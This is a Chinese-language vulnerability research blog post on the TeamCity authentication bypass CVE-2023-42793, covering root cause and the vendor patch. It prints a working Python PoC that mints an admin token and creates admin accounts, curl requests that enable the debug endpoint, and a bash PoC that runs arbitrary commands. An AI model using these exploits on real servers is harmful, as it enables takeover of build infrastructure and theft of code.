JetBrains TeamCity 任意代码执行漏洞(CVE-2023-42793)研究 - 郑瀚Andrew
2023-11-20 21:5:0 Author: www.cnblogs.com(查看原文) 阅读量:30 收藏

TeamCity 是一款由 JetBrains 开发的强大的持续集成(Continuous Integration,CI)和持续部署(Continuous Deployment,CD)工具。它帮助开发团队自动化构建、测试和部署过程,以确保软件项目的质量和快速交付。

TeamCity 的主要特点和优势包括:

  • 灵活的构建配置:TeamCity 支持多种构建工具(如 Maven、Gradle、npm、MSBuild 等),可轻松集成到现有的开发工具链中。它还提供了丰富的构建配置选项,允许您根据项目需求定制构建过程。
  • 实时构建状态和反馈:TeamCity 提供了实时的构建状态和反馈,帮助您快速发现并解决潜在问题。此外,它还支持与多种通知渠道(如邮件、Slack、HipChat 等)集成,确保团队及时了解构建过程的情况。
  • 分布式构建:TeamCity 支持分布式构建,允许您在多台构建代理上并行执行构建任务,以提高构建速度和效率。此外,它还可以根据负载和需求自动管理构建代理,确保资源的合理分配。
  • 丰富的插件生态:TeamCity 拥有丰富的插件生态,可以与众多第三方工具和服务集成,如版本控制系统(如 Git、SVN、Mercurial 等)、问题跟踪系统(如 Jira、YouTrack 等)以及代码审查工具(如 Codecov、SonarQube 等)。
  • 支持多种部署方式:TeamCity 支持多种部署方式,如自动部署到云服务(如 AWS、Google Cloud、Azure 等)、容器化部署(如 Docker、Kubernetes 等)以及传统的虚拟机部署。
  • 高度可定制和扩展:TeamCity 提供了高度可定制的用户界面,允许您根据团队和项目需求调整界面布局。此外,它还提供了丰富的 API 和扩展点,方便您开发自定义插件和集成其他工具。
  • 良好的安全性和权限管理:TeamCity 提供了一套完善的安全性和权限管理机制,支持用户认证、角色授权以及访问控制等功能,确保您的构建过程和敏感数据得到有效保护。

综上,TeamCity 是一款功能强大的 CI/CD 工具,可以帮助开发团队提高工作效率、确保代码质量并加速软件项目的交付。通过使用 TeamCity,开发团队可以更容易地管理构建过程,快速发现和修复问题,减少人为错误,并将更多精力投入到核心开发工作上。此外,TeamCity 还支持与多种工具和服务集成,可以与现有的开发工具链无缝衔接,进一步提高团队的协作效率。

参考链接:

https://juejin.cn/post/7217082232937447485
https://www.jetbrains.com/teamcity/download/download-thanks.html?platform=mac

0x1:安装

要安装TeamCity很简单,首先到下载页面下载TeamCity,下载完成之后安装即可。

TeamCity分为两个服务,

  • 一个叫做构建代理,实际的项目构建都是通过这个代理服务来执行的
  • 一个服务就是TeamCity的网页版控制端,让我们可以方便的通过网页进行管理

在下载页面上可以看到有多个操作系统,不论是Windows、macOS还是Linux都可以运行TeamCity。

  • 启动程序:./runAll.sh start
  • 停止程序:./runAll.sh stop

0x2:初始化

安装完成并启动TeamCity之后,我们就可以在Web页面中访问它了。

http://127.0.0.1:8111/mnt

第一次使用需要配置用户并初始化,之后稍微等待一段时间即可。

0x3:新建项目 

参考链接:

https://blog.csdn.net/whatday/article/details/108684562 
https://blog.csdn.net/weixin_41133233/article/details/86364238
https://blog.kangyonggan.com/2018/08/06/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90%E5%B7%A5%E5%85%B7TeamCity%E7%9A%84%E5%AE%89%E8%A3%85%E5%92%8C%E4%BD%BF%E7%94%A8/

下载2023.05.4之前的版本,

该漏洞是由于对服务器 API 的访问控制不足造成的,允许未经身份验证的攻击者访问管理面板。

利用该漏洞,攻击者可以通过网络访问 TeamCity 服务器,获取项目源代码,并通过在项目构建任务执行代理上执行任意代码,对基础架构发起进一步攻击。该漏洞可能会给供应商带来不可接受的网络安全事件。

我们从一个python poc开始,逐步分析这个漏洞的成因,

python3 CVE-2023-42793.py -u http://127.0.0.1:8111/

import random
import requests
import argparse
import xml.etree.ElementTree as ET

Color_Off="\033[0m" 
Black="\033[0;30m"        # Black
Red="\033[0;31m"          # Red
Green="\033[0;32m"        # Green
Yellow="\033[0;33m"       # Yellow
Blue="\033[0;34m"         # Blue
Purple="\033[0;35m"       # Purple
Cyan="\033[0;36m"         # Cyan
White="\033[0;37m"        # White

class CVE_2023_42793:
    def __init__(self):
        self.url = ""
        self.session = requests.session()

    def username(self):
        name = "H454NSec"
        random_id = random.randint(1000, 9999)
        return f"{name}{random_id}"

    def delete_user_token(self, url):
        self.url = url
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 204 or  response.status_code == 404:
                self.create_user_token()
        except Exception as err:
            pass

    def create_user_token(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 200:
                response_text = response.text
                root = ET.fromstring(response_text)
                value = root.get('value')
                if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):
                    self.create_user(value)
        except Exception as err:
            pass

    def create_user(self, token):
        uname = self.username()
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept": "*/*",
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            }
        creds = {
            "email": "",
            "username": uname,
            "password": "@H454NSec",
            "roles": {
                "role": [{
                        "roleId": "SYSTEM_ADMIN",
                        "scope": "g"
                    }]
            }
        }
        try:
            response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)
            if response.status_code == 200:
                print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")
                with open("vulnerable.txt", "a") as o:
                    o.write(f"[{uname}:@H454NSec] {self.url}\n")
        except Exception as err:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of the TeamCity')
    parser.add_argument('-l', '--list', help='List of urls')
    args = parser.parse_args()
    db = []
    url_list = args.list
    if url_list:
        try:
            with open(url_list, "r") as fr:
                for data in fr.readlines():
                    db.append(data.strip())
        except Exception as err:
            print(err)
    elif args.url:
        db.append(args.url)
        cve = CVE_2023_42793()
        for ip in db:
            url = ip[:-1] if ip.endswith("/") else ip
            if not url.startswith("https://"):
                if not url.startswith("http://"):
                    url = f"http://{url}"
            cve.delete_user_token(url)

View Code

这个poc的代码流程也很简单,

  1. 删除用户token
  2. 创建用户token
  3. 创建用户

参考链接:

https://www.4hou.com/posts/3rmQ 
https://blog.csdn.net/ptsecurity/article/details/133324429 
https://github.com/H454NSec/CVE-2023-42793/blob/main/CVE-2023-42793.py

这个漏洞的根源是鉴权身份认证绕过。

首先,我们看一下配置文件,找一下认证的位置。发现认证位置在calledOnceInterceptors里面,这个的调用是在jetbrains.buildServer.controllers.interceptors类下面。

<mvc:interceptors>:这是 Spring MVC 中配置拦截器的部分。它列出了多个拦截器,这些拦截器将在请求处理过程中按顺序执行。每个元素引用一个拦截器 bean。

这段配置文件指定了一组拦截器,它们将在请求处理过程中执行特定的逻辑。这些拦截器通常用于在请求到达控制器之前或之后执行一些操作,比如接下来的身份验证。而且可以看到这个calledOnceInterceptors是jetbrains.buildServer.controllers.interceptors.RequestInterceptors实例,在具体的ref配置中可以看到,将authorizedUserInterceptor认证添加到实例中。

接下来反编译 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/lib/web.jar,

配置完拦截器后,接下来将对请求进行拦截。

具体拦截逻辑在 preHandle 方法中实现,我们来重点分析一下这块函数逻辑,

首先,它调用requestPreHandlingAllowed(paramHttpServletRequest) 方法来检查请求是否允许进行预处理。如果这个方法返回true,那么会执行 myInterceptors 列表中每个拦截器的 preHandle 方法。 

跟进requestPreHandlingAllowed()分析。

requestPreHandlingAllowed 方法检查是否应该跳过身份验证检查。

其中,myPreHandlingDisabled 包含通配符路径 /**/RPC2,用于测试传入 HTTP 请求的路径。

如果请求的路径匹配了 myPreHandlingDisabled 中的路径,requestPreHandlingAllowed 返回 false,这将导致 preHandle 方法提前返回,从而绕过身份验证检查。

这导致了一个典型的授权绕过漏洞。如果攻击者能够构造请求,以便路径匹配 /**/RPC2,则可以绕过身份验证,从而执行某些操作,而无需经过正常的身份验证和授权检查。 

对于攻击者来说,寻找在应用程序中使用了 /**/RPC2 路径的端点,然后构造请求以匹配这个路径。一旦找到这样的目标端点,攻击者就可以发送请求,绕过身份验证和授权检查来执行攻击。

接下来反编译 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/plugins/rest-api/server/rest-api.jar,

越权获取高权限token的漏洞代码在 jetbrains.buildServer.server.rest.request.UserRequest, 

createToken方法允许调用者通过向端点发送 HTTP POST 请求来为指定用户创建访问令牌/app/rest/users/{userLocator}/tokens/{name},而{name}允许结尾以/RPC2来绕过身份验证。

通过将 "userLocator" 参数设置为 "id:1",可以调用 "createToken" 方法并使用管理员用户的凭证来创建令牌。这个令牌可以用于进行授权操作或执行其他需要管理员权限的操作。

在获取了高权限账号token后,执行任意指令的漏洞代码在 jetbrains.buildServer.server.rest.request.DebugRequest,这是一个产品界面上没有的未记录的调试API端点,

调用此端点的能力由配置选项控制rest.debug.processes.enable,默认情况下禁用。因此,我们必须首先通过以下请求启用此选项。

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" -X POST "http://127.0.0.1:8111/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"

最后,为了让系统使用此选项,我们必须通过以下请求刷新服务器。

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" "http://127.0.0.1:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties"

我们现在可以在服务器上运行任意 shell 命令,并向端点发出以下请求/app/rest/debug/processes。例如:

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a1dtOWtUY1B6RXhZZHVtMGxDRnhCeW52X2FR.OTFhM2Y0OWYtMGFlZC00N2UyLWEyZWItNjU0YzliNjc5NDg2" -X POST "http://127.0.0.1:8111/app/rest/debug/processes?exePath=bash^&params=-c whoami"

综上poc如下:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <base_url> <port> <command>"
    exit 1
fi

BASE_URL="$1"
PORT="$2"
COMMAND="$3"

TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2"
EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}"

TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT")
BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+')

curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"

RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' )

curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"

echo $RESPONSE

参考链接:

http://java-decompiler.github.io/
https://www.ctfiot.com/141977.html
https://forum.butian.net/share/2514

根据供应商的建议,要修复该漏洞,应将 TeamCity 服务器升级到 2023.05.4 版。 要降低与该漏洞相关的风险,应安装供应商的补丁插件。 

分析一下漏洞补丁:https://blog.jetbrains.com/zh-hans/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/

myPreHandlingDisabled 对象中添加了路径 "/RPC2" 并删除了所有匹配 "/**/RPC2" 的路径。这意味着它禁止访问所有类似 "/example/RPC2"、"/test/RPC2" 这样的路径。


文章来源: https://www.cnblogs.com/LittleHann/p/17843271.html
如有侵权请联系:admin#unsafe.sh